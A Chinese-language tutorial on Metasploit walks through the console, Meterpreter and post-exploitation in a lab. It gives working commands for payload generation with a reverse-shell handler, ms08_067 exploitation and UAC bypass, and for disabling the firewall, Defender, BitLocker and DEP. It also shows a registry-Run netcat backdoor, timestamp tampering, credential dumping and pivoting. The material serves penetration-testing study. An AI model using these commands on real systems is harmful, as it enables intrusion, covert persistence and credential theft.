总览  
Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。当H.D. Moore在2003年发布Metasploit时,计算机安全状况也被永久性地改变了。仿佛一夜之间,任何人都可以成为黑客,每个人都可以使用攻击工具来攻击那些未打过补丁或者刚刚打过补丁的漏洞。软件厂商再也不能推迟发布针对已公布漏洞的补丁了,这是因为Metasploit团队一直都在努力开发各种攻击工具,并将它们贡献给所有Metasploit用户。 Metasploit的设计初衷是打造成一个攻击工具开发平台,本书稍后将讲解如何开发攻击工具。然而在目前情况下,安全专家以及业余安全爱好者更多地将其当作一种点几下鼠标就可以利用其中附带的攻击工具进行成功攻击的环境。 –百度百科
 
先来看看他的基础架构: 呐,这样,从右边看,他有很多用户接口,最常用的就是前面两个,现在先来分别介绍下Console,后续部分主要使用的接口,直接使用msfconsole进入
 它的目录结构为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 . ├── app │   ├── concerns │   └── validators ├── config │   ├── application.rb │   ├── boot.rb │   ├── cucumber.yml │   ├── database.yml                     #数据库配置文件 │   ├── database.yml.example │   ├── database.yml.travis │   ├── database.yml.vagrant │   ├── environment.rb │   └── environments ├── data                             #含有多种模块 │   ├── cpuinfo │   ├── eicar.com │   ├── eicar.txt │   ├── emailer_config.yaml │   ├── exploits │   ├── flash_detector │   ├── ipwn │   ├── isight.bundle │   ├── john.conf │   ├── js │   ├── lab │   ├── logos │   ├── markdown_doc │   ├── meterpreter │   ├── mime.yml │   ├── msfcrawler │   ├── msfpescan │   ├── passivex │   ├── php │   ├── post │   ├── ropdb │   ├── snmp │   ├── sounds │   ├── templates                      #含有多种模板 │   ├── vncdll.x64.dll │   ├── vncdll.x86.dll │   ├── webcam │   ├── wmap │   └── wordlists                       #含有多种字典 ├── db │   ├── migrate │   └── schema.rb ├── Gemfile ├── Gemfile.lock ├── lib │   ├── anemone │   ├── anemone.rb │   ├── enumerable.rb │   ├── metasm │   ├── metasploit │   ├── msf │   ├── msfenv.rb │   ├── net │   ├── postgres │   ├── postgres_msf.rb │   ├── rabal │   ├── rapid7 │   ├── rbmysql │   ├── rbmysql.rb │   ├── rex │   ├── rex.rb │   ├── snmp │   ├── snmp.rb │   ├── sqlmap │   ├── tasks │   ├── telephony │   ├── telephony.rb │   └── windows_console_color_support.rb ├── metasploit-framework.gemspec ├── modules                            #主要模块目录,可以看见6大模块。。。 │   ├── auxiliary │   ├── encoders │   ├── exploits │   ├── nops │   ├── payloads │   └── post ├── msfbinscan                           #这里是一些命令,可以单独拿出来使用 ├── msfconsole ├── msfd ├── msfdb ├── msfelfscan ├── msfmachscan ├── msfpescan ├── msfrop ├── msfrpc ├── msfrpcd ├── msfupdate ├── msfvenom ├── plugins                            #多种插件,可通过载入插件来连接外部程序,扩充自己功能 │   ├── alias.rb │   ├── auto_add_route.rb │   ├── beholder.rb │   ├── db_credcollect.rb │   ├── db_tracker.rb │   ├── event_tester.rb │   ├── ffautoregen.rb │   ├── ips_filter.rb │   ├── lab.rb │   ├── msfd.rb │   ├── msgrpc.rb │   ├── nessus.rb │   ├── nexpose.rb │   ├── openvas.rb │   ├── pcap_log.rb │   ├── request.rb │   ├── sample.rb │   ├── session_tagger.rb │   ├── socket_logger.rb │   ├── sounds.rb │   ├── sqlmap.rb │   ├── thread.rb │   ├── token_adduser.rb │   ├── token_hunter.rb │   ├── wiki.rb │   └── wmap.rb ├── Rakefile ├── ruby ├── scripts                    #含有大量脚本,在后渗透测试阶段使用 │   ├── meterpreter │   ├── ps │   ├── resource │   └── shell ├── tools                      #有多种可单独使用的工具 │   ├── context │   ├── dev │   ├── exploit │   ├── memdump │   ├── modules │   ├── password │   └── recon └── vendor     └── bundle 
 
总体流程  
这是最基本的使用流程,攻击成功后想干嘛随意。
扫描目标 可以使用内置模块,也可以使用其他的扫描程序,这里使用nmap -sS是隐秘扫描,-Pn是假设主机存活,直接扫描。结果看到打开的端口和运行的服务。如果需要更多信息可以用-A
使用漏洞利用模块  这里使用了最简单的,权限最高的ms08_067漏洞,为什么用这个?不用管,为了学习后续操作,因为这个最简单呀。
查看需要设置的参数  这里要填写rhost的参数
设置参数 
开始攻击  因为这里用的payload是meterpreter,所以利用成功后就可以得到这个,这时就可以进行很多操作了,具体哪些可以看上一篇meterpreter常用命令,这里就介绍一点
查看目标的进程 
截屏 
使用摄像头  先查看有没有摄像头
拍照 
实时监控 
会在浏览器中打开播放窗口
 
下载系统账户的哈希 
打开Windows的shell 
基本命令  
msfdb 1 2 3 4 5 6 7 8 root@kali:~# msfdb #用于管理msf数据库的命令     msfdb init    # 初始化数据库,第一次使用msf时使用   msfdb reinit  # 重新初始化数据库,把数据库弄乱时使用   msfdb delete  #停止并删除数据库   msfdb start   #启动数据库   msfdb stop    # 停止数据库 
 
msfpc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 root@kali:~# msfpc #用来生成payload的    /usr/bin/msfpc <TYPE> (<DOMAIN/IP>) (<PORT>) (<CMD/MSF>) (<BIND/REVERSE>) (<STAGED/STAGELESS>) (<TCP/HTTP/HTTPS/FIND_PORT>) (<BATCH/LOOP>) (<VERBOSE>) 例如: /usr/bin/msfpc windows 192.168.1.10        # Windows & manual IP.             /usr/bin/msfpc elf bind eth0 4444          # Linux, eth0's IP & manual port.             /usr/bin/msfpc stageless cmd py https      # Python, stageless command prompt.             /usr/bin/msfpc verbose loop eth1           # A payload for every type, using eth1's IP.             /usr/bin/msfpc msf batch wan               # All possible Meterpreter payloads, using WAN IP.             /usr/bin/msfpc help verbose                # Help screen, with even more information.    <TYPE>:    + ASP    + ASPX    + Bash [.sh]    + Java [.jsp]    + Linux [.elf]    + OSX [.macho]    + Perl [.pl]    + PHP    + Powershell [.ps1]    + Python [.py]    + Tomcat [.war]    + Windows [.exe // .dll]   <DOMAIN/IP>可使用网卡和MAC地址来探测ip,若不填写将会在生成过程中显示列表来选择 <PORT> 默认443端口 <CMD>使用本地shell <MSF> 使用meterpreter(默认使用它) <BIND> 绑定型shell <REVERSE> 反弹型shell(默认使用它) <STAGED> 将shellcode分片,需要依赖msf(默认使用它) <STAGELESS> 不分片 <TCP> 使用TCP协议明文传输,适应性好,容易被IDS等发现(默认使用它) <HTTP> 使用HTTP协议明文传输,适用于限制80端口传输使用 <HTTPS> 使用HTTPS加密传输,适用于限制在443端口传输,不易被IDS等发现 <FIND_PORT> 将尝试所有端口来突破防火墙 <BATCH>生成每一种组合 <LOOP> 生成每一种类型的 <VERBOSE>显示更加详细的信息 
 
运行命令后,他将生成payload和相应的监听资源文件,使用msfconsole –r ****.rc进行监听,等待目标上钩 例如这里,他显示用了什么命令,生成的payload位置,怎么进行监听,怎么快速发布payload。
msfvenom 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 root@kali:~# msfvenom #Msf的独立payload生成器,用来替代msfpayload and msfencode.(这出现在以前的书里。。。) Usage: /usr/bin/msfvenom [options] <var=val>   Options:     -p, --payload       <payload>    指定payload,使用-来使用标准输入从而使用自定义的payload         --payload-options            列出指定payload的设直项     -l, --list          [type]                       列出可使用的模块,可使用payloads, encoders, nops, 筛选     -n, --nopsled       <length>     设置空指令滑行长度     -f, --format        <format>     指定输出格式         --help-formats               列出支持的格式     -e, --encoder       <encoder>    指定编码器     -a, --arch          <arch>       指定架构         --platform      <platform>   指定平台         --help-platforms             列出支持的平台     -s, --space         <length>     现在payload的最大尺寸         --encoder-space <length>     最大编码尺寸     -b, --bad-chars     <list>       指定要编码的坏字符,例如:'\x00\xff'     -i, --iterations    <count>      编码次数     -c, --add-code      <path>       指定包含一个额外的win32shellcode文件     -x, --template      <path>       指定一个可执行文件作为模板     -k, --keep                       保持原模板软件有效性     -o, --out           <path>       指定输出位置     -v, --var-name      <name>      指定一个自定义的变量名去使用特定输出格式         --smallest                   生成尽可能小的payload 
 
msfconsole 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 root@kali:~# msfconsole -h Usage: msfconsole [options] Common options     -E, --environment ENVIRONMENT    The Rails environment. Will use RAIL_ENV environment variable if that is set.  Defaults to production if neither option not RAILS_ENV environment variable is set. Database options     -M, --migration-path DIRECTORY   指定一个额外的包含migration DB的目录     -n, --no-database                不适用数据库     -y, --yaml PATH                  指定包含数据库设置的yaml文件地址 Framework options     -c FILE                          载入指定的配置文件 Module options         --defer-module-loads         延期载入模块     -m, --module-path DIRECTORY      添加一个额外的模块路径 Console options:     -a, --ask                        退出之前先询问     -L, --real-readline              使用系统的readline而非rb的     -o, --output FILE                输出到指定文件     -p, --plugin PLUGIN              启动时即载入插件     -q, --quiet                      安静启动     -r, --resource FILE              使用资源文件,可用-表示标准输入     -x, --execute-command COMMAND    相当于以前的msfcli,后面执行一些命令,用;分隔 msf > ? 核心命令 =============     Command       Description     -------       -----------     ?             显示帮助     advanced      后接模块,显示高级配置信息     back          返回上层     cd            改变当前工作目录     connect       相当于nc 		Usage: connect [options] <host> <port> 		-C        对EOL sequence尝试使用回车换行. 		-P <opt>  指定源端口 		-S <opt>  指定源地址 		-i <opt>  指定发送一个文件的内容。 		-s        使用ssl连接 		-u        切换成UDP的socket 		-w <opt>  指定连接超时 		-z        只去连接一下就返回     edit          编辑当前使用的模块     exit          退出     get           获取指定局部变量的值     getg          获取指定全局变量的值     grep          grep命令     info          显示指定模块的信息     irb           进入irb模式(可用来编写irb脚本并执行)可以跟-e接脚本直接执行     jobs          显示,管理job(在任务较多时可以再使用参数)     kill          杀死一个job     load          载入指定插件(载如插件后又是一mol功能,以后再说。。。)     loadpath      载如一个指定位置的插件     makerc        将本次进入控制台后使用的命令全部保存为资源文件(就相当于批处理文件)     options       显示指定端口的一般设置项信息     reload_all    重载所有模块     rename_job    重命名一个jobs     resource      运行一个资源文件     route         使用指定session来路由,实现内网渗透等 		route [add/remove/get/flush/print] subnet netmask [comm/sid]     search        搜索模块 		Usage: search [keywords] 			Keywords: 			  app       :  匹配客户端还是服务端攻击 			  author    :  匹配作者 			  bid       :  匹配Bugtraq ID 			  cve       :  匹配CVE ID 			  edb       :  匹配Exploit-DB ID 			  name      :  匹配描述name 			  osvdb     :  匹配OSVDB ID 			  platform  :  匹配平台(Windows,Linux,Android等) 			  ref       :  匹配ref 			  type      :  匹配指定类型模块(exploit, auxiliary, or post) 			例如: 			  search cve:2009 type:exploit app:client     sessions      管理session的 			Usage: sessions [options] 			OPTIONS: 				-K        终止所有sessions 				-c <opt>  与-i配合,对指定session运行指定命令(不使用-i将会对所有生效) 				-i <opt>  交互式方式进入session 				-k <opt>  终止会话 				-l        列出所有sessions 				-q        安静模式 				-r        与-i配合,对指定session重置环形缓冲区(不使用-i将会对所有生效) 				-s <opt>  和-i配合,对指定session运行指定脚本(不使用-i将会对所有生效) 				-t <opt>  设置响应超时 				-u <opt>  将shell升级为meterpreter 				-v        列出详细的 				-x        显示扩展的信息     set           设置局部变量的值     setg          设置全局变量的值     show          显示被指定的类型或是所有 		[*] 可以使用类型过滤:all, encoders, nops, exploits, payloads, auxiliary, plugins, info, options 		[*] 在模块中可以这样用: missing, advanced, evasion, targets, actions     sleep         在数秒内不做任何事     spool         将以后的输出同时写入指定文件便于查看     threads       查看当前工作的线程     unload        卸载指定插件     unset         去除局部变量的赋值     unsetg        去除指定全局变量的赋值     use           使用指定的模块 数据库命令 =========================     Command           Description     -------           -----------     creds             列出所有creds信息     db_connect        连接一个存在的数据库     db_disconnect     断开数据库连接     db_export         导出文件     db_import         倒入一个扫描结果文件(会自动探测类型)直接使用命令可以看到支持的类型     db_nmap           和nmap一样,只是这个直接将结果写入数据库     db_rebuild_cache  重建数据库缓存     db_status         显示当前数据库连接状态     hosts             列出主机     loot              列出所有信息(这些命令都可以使用参数来自定义。。。。)     notes             列出所有的主机     services          列出所有的服务     vulns             列出所有的漏洞     workspace         管理工作空间的 			workspace                  列出工作空间 			workspace [name]           切换到指定工作空间 			workspace -a [name] ...    添加 			workspace -d [name] ...    删除 			workspace -D               删除所有 			workspace -r <old> <new>   重命名 
 
meterpreter  
高级,动态,可扩展的payload,它要远强于系统自带shell,在后渗透测试阶段提供一站式操作界面,所以能够使用meterpreter尽量使用它。 它的特点:
1 2 3 4 5 6 7 完全基于内存的dll注入式payload(不写入硬盘,当然也可以写入硬盘实现持续控制) 注入合法系统进程并建立stager(传输器) 基于stager上传和预加载dll进行扩展模块注入(客户端API) 基于stager建立的socket链接建立加密的TLS/1.0通信隧道 利用TLS隧道进一步加载后续扩展模块(避免网络取证) 服务端(攻击者端)使用C语言编写 客户端(受害者端)提供基于ruby的全特性API(支持任何语言,只是其他语言不一定是全功能) 
 
生成payload 之所以插播此部分,因为可能因为各种原因导致主动利用不成功而无法继续meterpreter实验。先生成payload手动在靶机上运行就可以不必太依赖其他知识,生成方法可以使用msfvenom或是免杀里面介绍的其他内容,也可以使用msfconsole:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 msf > use payload/windows/meterpreter/reverse_https msf payload(reverse_https) > show options  Module options (payload/windows/meterpreter/reverse_https):    Name      Current Setting  Required  Description    ----      ---------------  --------  -----------    EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)    LHOST                      yes       The local listener hostname    LPORT     8443             yes       The local listener port    LURI                       no        The HTTP Path msf payload(reverse_https) > set LHOST 192.168.79.130 LHOST => 192.168.79.130 msf payload(reverse_https) > generate -h Usage: generate [options] Generates a payload. OPTIONS:     -E        强制编码     -b <opt>  排除坏字符,例如: '\x00\xff'     -e <opt>  指定编码器     -f <opt>  指定输出文件,否则输出到屏幕     -i <opt>  编码几次     -k        保留模板功能     -o <opt>  用逗号分隔形式指定参数     -p <opt>  输出平台     -s <opt>  Nop滑行长度     -t <opt>  输出格式: bash,c,csharp,dw,dword,hex,java,js_be,js_le,num,perl,pl,powershell,ps1,py,python,raw,rb,ruby,sh,vbapplication,vbscript,asp,aspx,aspx-exe,axis2,dll,elf,elf-so,exe,exe-only,exe-service,exe-small,hta-psh,jar,loop-vbs,macho,msi,msi-nouac,osx-app,psh,psh-cmd,psh-net,psh-reflection,vba,vba-exe,vba-psh,vbs,war -x <opt>  指定模板 
 
此处,排除坏字符是使用编码器将坏字符编码而不是直接舍弃,它是智能选择,在排除坏字符功能实现的前提下使用最优秀的编码器,若坏字符太多可能就不能找到编码器编码咯!这里示例如下:
1 msf payload(reverse_https) > generate -b '\x00\xff' -s 20 -t exe -p x86 -f hia.exe 
 
启动监听:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 msf payload(reverse_https) > use exploit/multi/handler  msf exploit(handler) > set payload windows/meterpreter/reverse_https payload => windows/meterpreter/reverse_https msf exploit(handler) > show options  Module options (exploit/multi/handler):    Name  Current Setting  Required  Description    ----  ---------------  --------  ----------- Payload options (windows/meterpreter/reverse_https):    Name      Current Setting  Required  Description    ----      ---------------  --------  -----------    EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)    LHOST                      yes       The local listener hostname    LPORT     8443             yes       The local listener port    LURI                       no        The HTTP Path Exploit target:    Id  Name    --  ----    0   Wildcard Target msf exploit(handler) > set LHOST 0.0.0.0 LHOST => 0.0.0.0 msf exploit(handler) > run [*] Started HTTPS reverse handler on https://0.0.0.0:8443 [*] Starting the payload handler... 
 
使用meterpreter 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 meterpreter核心命令 ============= ? / help                  显示帮助菜单  background               将此会话放进后台(回话依然存在,这样可以使用其他模块利用此session来做更多事) bgkill                    杀死一个后台会话 bglist                    显示后台运行的脚本 bgrun                     运行一个meterpreter脚本作为后台线程 channel                   显示频道里信息或者控制频道 close                     关闭频道 exit / quit               终止meterpreter会话 get_timeouts              得到当前回话的超时值 info                      显示关于选定模块的信息 irb                       进入rb脚本模式 load                      载入一个或多个meterpreter扩展 machine_id                Get the MSF ID of the machine attached to the session migrate                   迁移攻击载荷到指定的pid或者进程名(默认pid,-N name进程名) read / write              从一个频道读取/写入数据 resource                  运行一个资源文件(类似批处理脚本) run                       运行一个meterpreter脚本或模块 set_timeouts              设置当前模块连接超时值 sleep                     强制meterpreter去什么都不做再重新连接 transport                 改变当前传输机制(后续发) use                       改变load的别名 uuid                      获取当前的uuid 文件命令(和Linux几乎一致) ============================ cat           把一个文件内容输出到屏幕(查看文件内容) cd            移动到其他目录 download      下载一个文件或目录 Usage: download [options] src1 src2 src3 ... destination OPTIONS: -r        递归下载所有内容 -t        时间戳也要下载 edit          编辑一个文件(和vim操作类似) lpwd           查看本地目录 getwd         查看远程目录 lcd           改变本地工作目录 ls            列出文件 mkdir         创建目录 mv            移动 pwd           显示当前工作目录 rm            删除 rmdir         删除目录 search        搜素 show_mount    列出所有设备(磁盘) upload        上传文件或目录(-r 地柜上传) 网络命令 =========================== arp          显示ARP缓存表 getproxy      显示代理设置 ifconfig      显示网卡设置 ipconfig      显示网卡设置 netstat       显示网络连接状态 portfwd       指向一个本地端口到远程服务(端口转发,后续会发) route         显示(修改)受害主机路由表 Supported commands:    add    [subnet] [netmask] [gateway]    delete [subnet] [netmask] [gateway]    list 系统命令 ======================= clearev        清除事件日志(系统自带的日志) drop_token    放弃所有的假冒令牌 execute       执行一条命令(后续发) getenv        取得指定的一个或多环境变量的值 getpid        得到当前进程的pid(攻击shell的pid) getprivs      尝试获取所有特权       getsid        Get the SID of the user that the server is running as getuid        显示当前的身份 kill          杀死一个进程,后接pid,参数-s杀死相关的进程 ps            列出目标主机的进程 reboot        重启目标主机 shutdown      关闭目标主机 reg          修改注册表,可查看帮助(后续发) rev2self      回到目标主机的初始用户账户下(例如开始是admin后来提权为system,可以回到admin) shell         使用Windows系统命令行 steal_token   尝试盗取一个令牌 suspend      暂停或恢复一个列表进程 sysinfo       取得目标主机的系统信息,含电脑名,操作系统,架构,语言,工作组,登录用户数 用户界面命令 =============================== enumdesktops   列举出目标主机上所有的桌面 idletime       返回目标主机已经被闲置了多少时间 keyscan_dump   得到键盘录制的内容 keyscan_start  开始键盘录制 keyscan_stop   停止键盘录制 screenshot     抓取屏幕截图 setdesktop     切换到其他用户界面【当有多个用户登录时】 uictl          控制用户的键盘,鼠标 网络摄像头命令 ======================= record_mic     从默认的录入设备记录x秒的音频 OPTIONS:     -d <opt>  记录几秒,默认1s     -f <opt>  保存路径,默认:'/root/[randomname].wav'     -p <opt>  自动播放捕获到的音频,默认:true webcam_chat    开启一个视频聊天 webcam_list    显示设备列表 webcam_snap    从指定的设备拍照截图 webcam_stream  从指定的webcam播放视频流 权限提升 ====================== getsystem     尝试提升用户权限 密码数据库 ================================ hashdump      下载密码哈希值(sam库) 文件属性 timestomp     修改文件的属性(后续发) 
 
后渗透测试  
admin绕过UAC Win7及以上默认都会开启用户访问控制,即使得到administrator权限也不能直接提权到system(如下图),所以要先绕过UAC,下面是方法,前提是已经有一个administrator的shell了。 0X01 use exploit/windows/local/ask 设置一个欺骗性的名字,然后在受害主机弹出确认框,若对方确认则成功 0X02 use exploit/windows/local/bypassuac_vbs 也是需要用户确认,通过vbs来绕过,生成了清理文件可以手动点击清理 目标会弹出确认框,需要点击确认才行 0X03 use exploit/windows/local/bypassuac
低权限system提权 如题,需要一个低权限的shell,然后需要利用目标存在的漏洞,可在 Exploit/windows/local/目录下搜索能够提权的模块。
关闭防火墙 现在及之后命令都是在system权限下进行的:
1 netsh advfirewall set allprofiles state off 
 
 不过这样隐蔽性不好,可以直接添加一条规则:
1 2 3 meterpreter > execute -f cmd -i -H	 C:\windows\system32>netsh firewall show opmode C:\windows\system32>netsh firewall add portopening TCP 444 "hia-hia-hia" ENABLE ALL 
 
关闭windefend 1 net stop windefend(就像很普通的关闭服务) 
 
关闭bitlocker 1 2 manage-bde -status E:  manage-bde -off E:(需要在受害者已经解锁后才能去除加密,如下图) 
 
开启远程桌面 1 run post/windows/manage/enable_rdp 
 
(看到最后一句提供了关闭的rc文件)
1 2 run getgui -e run  getgui -u username -p passwd 
 
关闭DEP 1 bcdedit.exe /set {current} nx AlwaysOff 
 
杀死防病毒软件  
token窃取 tokens: 用户每次登陆,账号绑定临时的token 访问资源时提交token进行身份验证,类似于web cookie
1 2 3 delegate token:交互登陆会话 impersonate token:非交互登陆会话(他们两者权限是一样的,但是只有delegate token可以交互) delegate token账号注销后变为impersonate token,权限依然有效 
 
incognito 独立功能的软件,被msf集成在meterpreter中 无需密码破解或获取密码hash,窃取token将自己伪装成其他用户 尤其适用于与环境下提权渗透多操作系统,下面的模块中含有相关技术 其他模块 使用load可以看到存在插件
espia screengrab用来截屏。。。
lanattacks 1 2 3 4 5 6 7 8 9 10 11 12 13 14 Lanattacks: DHCP Commands =========================     dhcp_load_options  载入选项     dhcp_log           记录     dhcp_reset         重置     dhcp_set_option    设置     dhcp_start         开始     dhcp_stop          停止 Lanattacks: TFTP Commands =========================     tftp_add_file  像tftp添加文件     tftp_reset     重置     tftp_start     开始 tftp_stop      停止 
 
extapi 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 Extapi: Window Management Commands ==================================     window_enum   枚举所有已经打开的窗口 Extapi: Service Management Commands ===================================     service_control  控制服务 (start/pause/resume/stop/restart)     service_enum    枚举所有服务     service_query    查询指定服务细节 Extapi: Clipboard Management Commands =====================================     clipboard_get_data       	读取剪贴板内容     clipboard_monitor_dump   下载监听的内容     clipboard_monitor_pause   暂停监听     clipboard_monitor_purge   删除已经监听的数据     clipboard_monitor_resume  继续监听     clipboard_monitor_start   监听剪贴板     clipboard_monitor_stop    停止监听     clipboard_set_text        向目标剪贴板写入文本(似乎并不好用) Extapi: ADSI Management Commands ================================     adsi_computer_enum           枚举所有指定域的电脑     adsi_dc_enum                枚举所有指定域的域控制器     adsi_domain_query            Enumerate all objects on the specified domain that match a filter.     adsi_group_enum              枚举所有指定域的组     adsi_nested_group_user_enum  Recursively enumerate users who are effectively members of the group specified.     adsi_user_enum               枚举所有指定域的用户 Extapi: WMI Querying Commands ============================= wmi_query     Perform a generic WMI query and return the results 
 
kiwi 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Kiwi Commands =============     creds_all              Retrieve all credentials         #实在不行还可以用模块钓鱼获取     creds_kerberos         Retrieve Kerberos creds     creds_livessp          Retrieve LiveSSP creds     creds_msv              Retrieve LM/NTLM creds (hashes)     creds_ssp              Retrieve SSP creds     creds_tspkg            Retrieve TsPkg creds     creds_wdigest          Retrieve WDigest creds     golden_ticket_create   Create a golden kerberos ticket     kerberos_ticket_list   List all kerberos tickets     kerberos_ticket_purge  Purge any in-use kerberos tickets     kerberos_ticket_use    Use a kerberos ticket     lsa_dump             下载LSA secrets     wifi_list              列出WiFi密码 
 
Incognito 1 2 3 4 5 6 7 8 Incognito Commands ==================     add_group_user       尝试用所有的token去添加一个用户到域     add_localgroup_user  尝试用所有的token去添加一个用户到本地     add_user            尝试用所有token去添加一个用户     impersonate_token    使用Impersonate token伪装身份     list_tokens           列出存在的token     snarf_hashes         Snarf challenge/response hashes for every token 
 
mimikatz 1 2 3 4 5 6 7 8 Mimikatz Commands     kerberos          Attempt to retrieve kerberos creds     livessp           Attempt to retrieve livessp creds     mimikatz_command  Run a custom command     msv               Attempt to retrieve msv creds (hashes)     ssp               Attempt to retrieve ssp creds     tspkg             Attempt to retrieve tspkg creds     wdigest           Attempt to retrieve wdigest creds 
 
sniffer 1 2 3 4 5 6 7 Sniffer Commands     sniffer_dump      下载捕获的包     sniffer_interfaces   枚举所有可用网络接口     sniffer_release     释放捕获的包     sniffer_start       开始     sniffer_stats       状态     sniffer_stop        停止捕获包 
 
python 1 2 3 4 5 Python Commands ===============     python_execute  执行一串Python命令     python_import   导入运行脚本或模块     python_reset    重启解释器 
 
powershell 1 2 3 4 5 Powershell Commands ===================     powershell_execute  执行一串powershell命令     powershell_import   导入ps1文件或是 .NET 组装的 DLL     powershell_shell    进入交互式powershell 
 
REG 使用注册表编辑器: Windows几乎所有的设置都是写在注册表中的,所以注册表工具异常强大,这里以安装一个开机自启动执行监听并返回shell的nc为例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 reg  Usage: reg [command] [options] OPTIONS:     -d <opt>  设置键值.     -k <opt>  指定键路径(E.g. HKLM\Software\Foo).     -r <opt>  The remote machine name to connect to (with current process credentials     -t <opt>  设置键类型(E.g. REG_SZ).     -v <opt>  设置键名     -w        Set KEY_WOW64 flag, valid values [32|64]. COMMANDS:     enumkey		枚举一个键的值 [-k <key>]     createkey	创建一个键  [-k <key>]     deletekey	删除一个键  [-k <key>]     queryclass 	查询键的class [-k <key>]     setval		设置一个子键 [-k <key> -v <val> -d <data>]     deleteval	删除一个子键 [-k <key> -v <val>] queryval	查询一个子键 [-k <key> -v <val>] 
 
补充:nc.exe:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 connect to somewhere:   nc [-options] hostname port[s] [ports] ... listen for inbound:     nc -l -p port [options] [hostname] [port] options:         -d              从控制台分离后悄悄执行         -e prog         绑定一个程序到监听端口[dangerous!!]         -i secs         间隔时间         -l              监听模式         -L              监听且在连接断开后,继续监听         -n              numeric-only IP addresses, no DNS         -o file         以16进制下载数据         -p port         本地端口号         -r              使用随机的本地/远程端口         -s addr         源地址         -t              回应Telnet协商         -u              UDP模式         -v              详细信息         -z              端口扫描         port numbers can be individual or ranges: m-n [inclusive] 
 
查询这个键:
1 reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run 
 
设置子健:
1 reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\nc.exe -Ldp 444 -e C:\\windows\system32\cmd.exe' 
 
查询子健:
1 reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc 
 
 Win7上查看下:
execute 1 2 3 4 5 6 7 8 9 10 11 12 13 14 Usage: execute -f file [options] Executes a command on the remote machine. OPTIONS:     -H        创建隐藏的进程     -a <opt>  The arguments to pass to the command.     -c        Channelized I/O (required for interaction).     -d <opt>  The 'dummy' executable to launch when using -m.     -f <opt>  要执行的命令     -i        交互式执行     -k        Execute process on the meterpreters current desktop     -m        从内存中执行     -s <opt>  以指定session的用户身份来执行该命令     -t        以impersonated token身份来执行该命令 Usage: execute -f file [options]Executes a command on the remote machine.OPTIONS:    -H        创建隐藏的进程    -a <opt>  The arguments to pass to the command.    -c        Channelized I/O (required for interaction).    -d <opt>  The 'dummy' executable to launch when using -m.    -f <opt>  要执行的命令    -i        交互式执行    -k        Execute process on the meterpreters current desktop    -m        从内存中执行    -s <opt>  以指定session的用户身份来执行该命令    -t        以impersonated token身份来执行该命令 
 
检查成功:
timestomp 说起文件时间就是一个坑,第一次往学长靶机放shell就是因为这个被秒找到。。。前言:  文件系统访问会留下痕迹,这是电子取证重点关注的地方,渗透测试和攻击者往往希望销毁文件系统访问痕迹,但是鬼知道有没有彻底销毁,所以最好的避免被电子取证发现的方法就是不要碰文件系统,而这也是meterpreter的先天优势所在(完全基于内存),要是碰了该咋办呢?不搭后语:  mac时间(modified/accessed/changed) 可以使用
1 2 3 ls –l hia.exe ls -l --time=atime hia.exe ls –l –time=ctime hia.exe 
 
也可以使用
 
也可以使用
1 2 3 4 5 6 7 8 9 10 11 12 meterpreter > timestomp  Usage: timestomp OPTIONS file_path OPTIONS:     -b        删除mace时间戳     -a <opt>  设置atime     -c <opt>  设置ctime 	-m <opt>  设置mtime     -e <opt>  设置etime     -z <opt>  设置所有时间     -f <opt>  复制指定文件的时间戳     -r        对一个目录递归设置mace时间戳     -v        显示mace时间戳 
 
补充:mace中的e:mft entry mft:ntfs文件系统的主文件分配表 master file table 通常1024字节或2个硬盘扇区,其中存放多项entry信息 包含文件大量信息(大小 名称 目录位置 磁盘位置 创建日期) 更多信息可研究文件系统取证分析技术 文字不够图来凑:
跳板 实验环境:
1 2 3 4 Monowall 192.168.79.135/10.21.11.1    边界防火墙 Win7 10.21.11.2        内网主机,执行木马反弹shell,用来做跳板 Winxp    10.21.11.3    内网主机,被通过跳板攻击 Kali2016.2 192.168.79.130            攻击 
 
使用跳板 配置防火墙规则,开心就好 取得win7shell,双击就好 查看IP: 使用跳板: 扫描内网: (速度太慢了,就只指定了一台主机) 入侵内网主机: (恶俗的08067…)
